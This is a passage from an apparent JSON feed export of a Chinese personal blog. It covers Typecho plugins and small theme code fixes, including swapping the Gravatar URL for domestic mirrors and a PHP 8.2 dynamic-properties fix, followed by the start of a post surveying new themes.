target=\"_blank\"\u003eTeStore\u003c/a\u003e:读取Github上维护的专用表格实现插件仓库各项功能\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cp\u003e新GitHub表格解析版插件仓库TeStore v1.1.5\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e以免服务端思路复活这款插件,通过读取GitHub上的专用表格实现插件仓库的搜索、下载和安装删除等功能。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/benzBrake/AAEditor\" target=\"_blank\"\u003eAAEditor\u003c/a\u003e:虾米皮皮乐的编辑器\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003col\u003e\n\u003cli\u003e实时同步预览\u003c/li\u003e\n\u003cli\u003e额外功能按钮\n\u003cul\u003e\n\u003cli\u003e相册排版\u003c/li\u003e\n\u003cli\u003e任务列表\u003c/li\u003e\n\u003cli\u003e符号/表情\u003c/li\u003e\n\u003cli\u003e回复可见\u003c/li\u003e\n\u003cli\u003e文章引用\u003c/li\u003e\n\u003cli\u003e按钮\u003c/li\u003e\n\u003cli\u003em3u8/mp4播放/哔哩哔哩视频\u003c/li\u003e\n\u003cli\u003e卡片\u003c/li\u003e\n\u003cli\u003e多彩按钮\u003c/li\u003e\n\u003cli\u003e多彩文字\u003c/li\u003e\n\u003cli\u003e居中标题\u003c/li\u003e\n\u003cli\u003e折叠卡片\u003c/li\u003e\n\u003cli\u003e多标签卡片\u003c/li\u003e\n\u003cli\u003eGithub卡片\u003c/li\u003e\n\u003cli\u003eCodepen卡片\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e支持增加自定义按钮\u003c/li\u003e\n\u003cli\u003e链接/图片 markdown 简化\u003c/li\u003e\n\u003cli\u003e附件插入优化:一键插入所有图片附件\u003c/li\u003e\n\u003cli\u003e\n\u003cdel\u003e自动匹配标签功能(来自 AutoTags)\u003c/del\u003e\n\u003c/li\u003e\n\u003cli\u003e预览/保存/发布 工具条浮动\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/journey-ad/Shields-Typecho-Plugin\" target=\"_blank\"\u003eShields\u003c/a\u003e:为 Typecho 添加 \u003ca href=\"https://shields.io/\" target=\"_blank\"\u003eshields.io\u003c/a\u003e 支持\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e书写语法简洁\u003c/li\u003e\n\u003cli\u003e支持自定义时长缓存\u003c/li\u003e\n\u003cli\u003e可配置类型与样式\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e\u003ca href=\"https://github.com/typecho-fans/plugins/tree/master/Sitemap\" target=\"_blank\"\u003eSitemap\u003c/a\u003e:Google Sitemap 生成器 【\u003ca href=\"https://github.com/typecho-fans/plugins\" target=\"_blank\"\u003eTF\u003c/a\u003e社区维护版】\u003c/summary\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e动态生成符合搜索引擎收录标准的Xml格式站点地图插件,支持输出分类/标签页地址。\u003c/li\u003e\n\u003cli\u003eSitemap 可方便站长通知搜索引擎网站上有哪些可供抓取的网页。最简单通行的就是Google制定的XML格式标准,其中可列出网址及其元数据(上次更新时间、更改频率和优先级权重等),便于搜索引擎更高效智能地抓取网站内容。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003ch2\u003e\u003ca id=\"content-修改代码\" href=\"https://blog.lsy223622.com/archives/25/#content-%E4%BF%AE%E6%94%B9%E4%BB%A3%E7%A0%81\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e修改代码\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e添加 CopyDog 卡片和修改卡片字体\u003c/summary\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e添加卡片\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e编辑 \u003ccode\u003eusr/themes/jasmine/post.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e在 \u003cstrong\u003e16\u003c/strong\u003e 行的 \u003ccode\u003e\u0026amp;lt;?php $this-\u0026gt;content(); ?\u0026amp;gt;\u003c/code\u003e 之后写入 \u003ccode\u003e\u0026amp;lt;?php $this-\u0026gt;copyDog($this); ?\u0026amp;gt;\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/BigCoke233/typecho-plugin-CopyDog/blob/main/README.md#%E4%BD%BF%E7%94%A8\" title=\"参考文档\"\u003e参考文档\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改卡片字体\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e编辑 \u003ccode\u003eusr/plugins/CopyDog/style.css\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e在 \u003cstrong\u003e16\u003c/strong\u003e 行的 \u003ccode\u003efont-family: \u003c/code\u003e 与 \u003ccode\u003e-apple-system\u003c/code\u003e 中间插入 \u003ccode\u003eHarmonyOS-Sans,\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e修改后的这一行代码:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-css\"\u003efont-family: HarmonyOS-Sans,-apple-system,BlinkMacSystemFont,Segoe UI,system-ui,Roboto,PingFang SC,Hiragino Sans GB,Source Han Sans SC,Noto Sans CJK SC,Noto Sans SC,WenQuanYi Micro Hei,WenQuanYi Zen Hei,Microsoft YaHei,Helvetica Neue,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e效果展示\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/05/1694562549.png\" alt=\"Preview\" loading=\"lazy\"/\u003e\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e简化页脚\u003c/summary\u003e\n\u003cp\u003e根据 Jasmine 主题的\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/liaocp666/Jasmine/blob/main/README.md#%E8%AE%B8%E5%8F%AF%E5%8D%8F%E8%AE%AE\" title=\"许可协议\"\u003e许可协议\u003c/a\u003e:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cul\u003e\n\u003cli\u003e您可以删除页脚的作者信息。\u003c/li\u003e\n\u003cli\u003e您必须在页脚保留 Jasmine 主题的名称及其链接。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e所以编辑 \u003ccode\u003eusr/themes/jasmine/footer.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e删除 \u003cstrong\u003e11\u003c/strong\u003e 行的 \u003ccode\u003e by \u0026amp;lt;a href=\u0026#34;https://www.liaocp.cn/\u0026#34; title=\u0026#34;Kent Liao\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026amp;gt;Kent Liao\u0026amp;lt;/a\u0026amp;gt;\u003c/code\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e把 Gravatar 地址替换为国内 Cravatar\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://gravatar.com/\"\u003eGravatar\u003c/a\u003e 头像服务很好用,有个邮箱就能有对应的头像,在国际互联网上使用率还蛮高的\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e但又因为各种各样的原因,国内并不能直接访问 Gravatar 的头像源,头像很有可能加载不出来\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e于是出现了很多第三方的 Gravatar 镜像,头像链接格式不变,替换一下网址就能在国内正常访问\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在搜集到的 Gravatar 镜像中,我选择了测试速度最快最稳定的 Cravatar。它其实并不完全是 Gravatar 的镜像,而是国内和 Gravatar 类似的一个头像服务。但当请求的邮箱在数据库里没有对应头像的时候,它会从 Gravatar 获取并缓存,所以也可以当作 Gravatar 镜像用\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eTypecho 代码中的 Gravatar 网址是官方源,所以编辑 \u003ccode\u003evar/Typecho/Common.php\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e把 \u003cstrong\u003e836\u003c/strong\u003e 行的两个网址替换成 \u003ccode\u003ecravatar.cn\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e注意:由于 Cravatar 并不是真正的镜像服务,它从 Gravatar 同步头像图片的频率是很低的(可能要等一个月)。所以如果想要立即看到更换后的头像,可以在它的\u003ca rel=\"noopener noreferrer\" href=\"https://cravatar.cn/avatars\"\u003e头像管理页面\u003c/a\u003e上传头像,使用方法和 Gravatar 大同小异。或者也可以改用下表中除了 Cravatar、WeAvatar 和 Gravatar 官方源以外的镜像地址,它们同步频率比较高\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e附我找到并测试可用的镜像网址列表:\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003e名称\u003c/th\u003e\n\u003cth\u003e网址\u003c/th\u003e\n\u003cth\u003e图片测试\u003c/th\u003e\n\u003cth\u003e评价\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eGravatar\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://gravatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://gravatar.com/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://gravatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e官方头像源,但是不好访问\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eCravatar\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://cravatar.cn/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://cravatar.cn/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://cravatar.cn/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e国内的仿 Gravatar 服务,同时提供 Gravatar 镜像,我测试下来最快最稳定\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWeAvatar\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://weavatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://weavatar.com/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://weavatar.com/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e和 Cravatar 一样的服务,速度慢一点但也比较稳定,画质比 Cravatar 差一些\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSM.MS\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://gravatar.loli.net/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://gravatar.loli.net/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://gravatar.loli.net/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e老牌图床,可用性应该不会有问题,不过速度不是很稳定,而且尺寸参数被它无视了\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eGeekzu\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://sdn.geekzu.org/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://sdn.geekzu.org/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://sdn.geekzu.org/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e我测下来没上面几个快,但至少能用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003esep.cc\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://cdn.sep.cc/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://cdn.sep.cc/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://cdn.sep.cc/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e同样,慢但是能用\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eWebP Cloud\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://gravatar.webp.se/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" target=\"_blank\"\u003ehttps://gravatar.webp.se/avatar/\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003cimg src=\"https://gravatar.webp.se/avatar/c52883ffeeb1ae43c8a2f456b3284ef3?s=1200\" alt=\"显示失败\" style=\"max-height:100px;\"/\u003e\u003c/td\u003e\n\u003ctd\u003e号称压缩成体积小的 WebP 格式,但实际上反而是最慢的一个\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003c/details\u003e\n\u003ch2\u003e\u003ca id=\"content-debug\" href=\"https://blog.lsy223622.com/archives/25/#content-debug\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003eDebug\u003c/h2\u003e\n\u003cdetails\u003e\n\u003csummary\u003e修正友链页面在苹果设备的头像尺寸异常\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e原版 Jasmine 主题的友链页面在苹果设备上查看会出现友链头像尺寸异常大且布局混乱的情况\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e解决方法:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e编辑 \u003ccode\u003eusr/themes/jasmine/page-links.php\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e删除 \u003cstrong\u003e29\u003c/strong\u003e 行的 \u003ccode\u003emin-w-fit min-h-fit\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改后的这一行代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-html\"\u003e\u0026amp;lt;img src=\u0026#34;{image}\u0026#34;class=\u0026#34;w-14 h-14 rounded-full\u0026#34; loading=\u0026#34;lazy\u0026#34;\u0026amp;gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e感谢小北学长发现和提供解决方法\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e临时允许动态属性以避免 Atom 聚合输出报错\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e在 PHP 8.2 中\u003ca rel=\"noopener noreferrer\" href=\"https://wiki.php.net/rfc/deprecate_dynamic_properties\" title=\"动态属性已弃用\"\u003e动态属性已弃用\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e可以使用 \u003ccode\u003eAllowDynamicProperties\u003c/code\u003e 类来\u003ca rel=\"noopener noreferrer\" href=\"https://www.php.net/manual/zh/class.allowdynamicproperties.php\" title=\"允许动态属性\"\u003e允许动态属性\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003eTypecho 1.2.1 是 2023 年发布的,但是没有兼容 PHP 8.2 在 2021 年投票作出的这个改动,所以在访问 \u003ca href=\"https://blog.lsy223622.com/feed/atom/\" title=\"Atom 聚合输出\"\u003eAtom 聚合输出\u003c/a\u003e时会出现报错\u003c/li\u003e\n\u003cli\u003e解决方法:\n\u003cul\u003e\n\u003cli\u003e编辑 \u003ccode\u003evar/Typecho/Widget/Request.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e在 \u003cstrong\u003e11\u003c/strong\u003e 行 \u003ccode\u003eclass Request\u003c/code\u003e 前增加一行,插入 \u003ccode\u003e#[\\AllowDynamicProperties]\u003c/code\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e修正友链名称中过长单词不能正常换行导致长度溢出\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e原版 Jasmine 主题友链页面的卡片中友链名称在含有英文单词的时候不会在单词中间断行,所以长单词会导致所在行长度溢出,现象如下:\n\u003cimg src=\"https://blog.lsy223622.com/usr/uploads/2024/05/2876920829.png\" alt=\"Phenomenon\" loading=\"lazy\"/\u003e\n\u003c/li\u003e\n\u003cli\u003e解决方法:\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e打开 \u003cstrong\u003eTypecho 后台-控制台-外观-设置外观\u003c/strong\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在\u003cstrong\u003e自定义样式\u003c/strong\u003e添加如下代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-css\"\u003e.word-break {\n word-break: break-all;\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e编辑 \u003ccode\u003eusr/themes/jasmine/page-links.php\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 \u003cstrong\u003e32\u003c/strong\u003e 行的 \u003ccode\u003eclass=\u0026#34;text-sm \u0026#34;\u003c/code\u003e 里面添加 \u003ccode\u003eword-break\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e修改后的这一行代码:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-html\"\u003e\u0026amp;lt;h4 class=\u0026#34;text-sm word-break\u0026#34;\u0026amp;gt;{name}\u0026amp;lt;/h4\u0026amp;gt;\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003e修改 Feed 代码以兼容 \u003ca href=\"https://github.com/xdlinux/planet\" target=\"_blank\"\u003exdu-planet\u003c/a\u003e\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca rel=\"noopener noreferrer\" href=\"https://github.com/xdlinux/planet\"\u003exdu-planet\u003c/a\u003e 是学长写的一个简单的 RSS 博客聚合站,使用 \u003ccode\u003eGolang+Vue3+ElementPlus\u003c/code\u003e 构建,借助 GitHub Action 实现自动更新 Feed 数据并生成页面,并由 GitHub Pages 呈现\u003c/li\u003e\n\u003cli\u003e上面都是\u003cdel\u003e同学\u003c/del\u003e网友,于是我也去凑了热闹\u003c/li\u003e\n\u003cli\u003e但把 feed 链接 pr 上去之后,我发现展示的并不是我的完整文章,而是文章的简短摘要\u003c/li\u003e\n\u003cli\u003e我先是把 \u003ca href=\"https://blog.lsy223622.com/feed/\"\u003erss\u003c/a\u003e 链接换成了 \u003ca href=\"https://blog.lsy223622.com/feed/atom/\"\u003eatom\u003c/a\u003e 链接,但效果还是没有变化\u003c/li\u003e\n\u003cli\u003e在对 xdu-planet 后端代码的胡乱分析(因为不会 go)之后,感觉应该是在获取文章内容的时候没有对正文的变量名进行判断,只是照着位置获取了 \u003cdel\u003e(这段我也不知道怎么表达清楚反正大概就是这个意思)\u003c/del\u003e\n\u003c/li\u003e\n\u003cli\u003e和别人博客的 feed 对比之后,我发现和他们的相比,我的 \u003ccode\u003e\u0026amp;lt;content\u0026amp;gt;\u003c/code\u003e 前面还有一个 \u003ccode\u003e\u0026amp;lt;summary\u0026amp;gt;\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e于是我编辑 \u003ccode\u003evar/Typecho/Feed.php\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e把 \u003cstrong\u003e332~335\u003c/strong\u003e 行输出 \u003ccode\u003e\u0026amp;lt;summary\u0026amp;gt;\u003c/code\u003e 的代码注释掉了:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre\u003e\u003ccode class=\"language-php\"\u003e/**\n if (!empty($item[\u0026#39;excerpt\u0026#39;])) {\n $content .= \u0026#39;\u0026amp;lt;summary type=\u0026#34;html\u0026#34;\u0026amp;gt;\u0026amp;lt;![CDATA[\u0026#39; . htmlspecialchars($item[\u0026#39;excerpt\u0026#39;])\n . \u0026#39;]]\u0026amp;gt;\u0026amp;lt;/summary\u0026amp;gt;\u0026#39; . self::EOL;\n }\n*/\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e完美解决问题~\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003ch1\u003e\u003ca id=\"content-更新记录\" href=\"https://blog.lsy223622.com/archives/25/#content-%E6%9B%B4%E6%96%B0%E8%AE%B0%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e更新记录\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e2024-05-14 第一次发布\u003c/li\u003e\n\u003cli\u003e2024-05-15 增加:修正友链名称中过长单词不能正常换行导致长度溢出\u003c/li\u003e\n\u003cli\u003e2024-05-16 增加:插件 \u003ccode\u003eTeStore\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e2024-05-17 增加:插件 \u003ccode\u003eAAEditor\u003c/code\u003e \u003ccode\u003eShields\u003c/code\u003e \u003ccode\u003eSitemap\u003c/code\u003e\n\u003c/li\u003e\n\u003cli\u003e2024-05-20 增加:修改 Feed 代码以兼容 xdu-planet\u003c/li\u003e\n\u003cli\u003e2024-05-28 增加:把 Gravatar 地址替换为国内 Cravatar\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/25/"},{"title":"换主题了再水一篇😋","time":"2024-04-27T11:37:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/14/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B9%8B%E5%89%8D%E7%9A%84%E4%B8%BB%E9%A2%98%E5%A4%AA%E4%B8%91%E4%BA%86%E5%95%A6\"\u003e之前的主题太丑了啦\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AF%BB%E6%89%BE%E6%96%B0%E4%B8%BB%E9%A2%98\"\u003e寻找新主题!\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E5%AE%89%E8%A3%85\"\u003e主题安装\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E7%8E%AF%E5%A2%83\"\u003e环境\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AE%89%E8%A3%85\"\u003e安装\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E6%9B%B4%E6%96%B0\"\u003e更新\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B8%BB%E9%A2%98%E8%AE%BE%E7%BD%AE\"\u003e主题设置\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/14/#content-%E6%88%AA%E5%9B%BE\"\u003e截图\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-之前的主题太丑了啦\" href=\"https://blog.lsy223622.com/archives/14/#content-%E4%B9%8B%E5%89%8D%E7%9A%84%E4%B8%BB%E9%A2%98%E5%A4%AA%E4%B8%91%E4%BA%86%E5%95%A6\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e之前的主题太丑了啦\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e刚弄好这个博客的时候随便找了个网上搜到的 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/HaoOuBa/Joe\" title=\"Joe 主题\"\u003eJoe 主题\u003c/a\u003e。\u003c/li\u003e\n\u003cli\u003e感觉这主题有点。。花里胡哨的,功能确实比较强大,但是花花绿绿的,不能满足我的简约审美,设计风格也有点过时了,符合我对多年老博客的刻板印象。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-寻找新主题\" href=\"https://blog.lsy223622.com/archives/14/#content-%E5%AF%BB%E6%89%BE%E6%96%B0%E4%B8%BB%E9%A2%98\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e寻找新主题!\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e在网上搜索之后,发现一个不错的 \u003ca rel=\"noopener noreferrer\" href=\"https://typechx.com/\" title=\"Typecho 主题模板站\"\u003eTypecho 主题模板站\u003c/a\u003e,在上面翻到了不少比较喜欢的主题,整理如下:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cdel\u003e(万一以后还想换就能在这里找\u003c/del\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003ctd\u003e栏数\u003c/td\u003e\n\u003ctd\u003e名称\u003c/td\u003e\n\u003ctd\u003e模板站链接\u003c/td\u003e\n\u003ctd\u003eGitHub 链接\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd rowspan=\"4\" colspan=\"1\"\u003e单栏\u003c/td\u003e\n\u003ctd\u003eMeaWord\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/meaword.html\" target=\"_blank\"\u003eMeaWord\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/Meayair/Typecho-Theme-MeaWord\" target=\"_blank\"\u003eMeayair/Typecho-Theme-MeaWord\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eDayDream\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1592.html\" target=\"_blank\"\u003eDayDream\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/Skywt2003/Daydream\" target=\"_blank\"\u003eSkywt2003/Daydream\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eYing\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1581.html\" target=\"_blank\"\u003eYing\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/Siuyo/Ying\" target=\"_blank\"\u003eSiuyo/Ying\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eKeeping\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://typechx.com/themes/1327.html\" target=\"_blank\"\u003eKeeping\u003c/a\u003e\u003c/td\u003e\n\u003ctd\u003e\u003ca href=\"https://github.com/adm2369710264/Keeping\" target=\"_blank\"\u003eadm2369710264/Keeping\u003c/a\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd rowspan=\"5\" 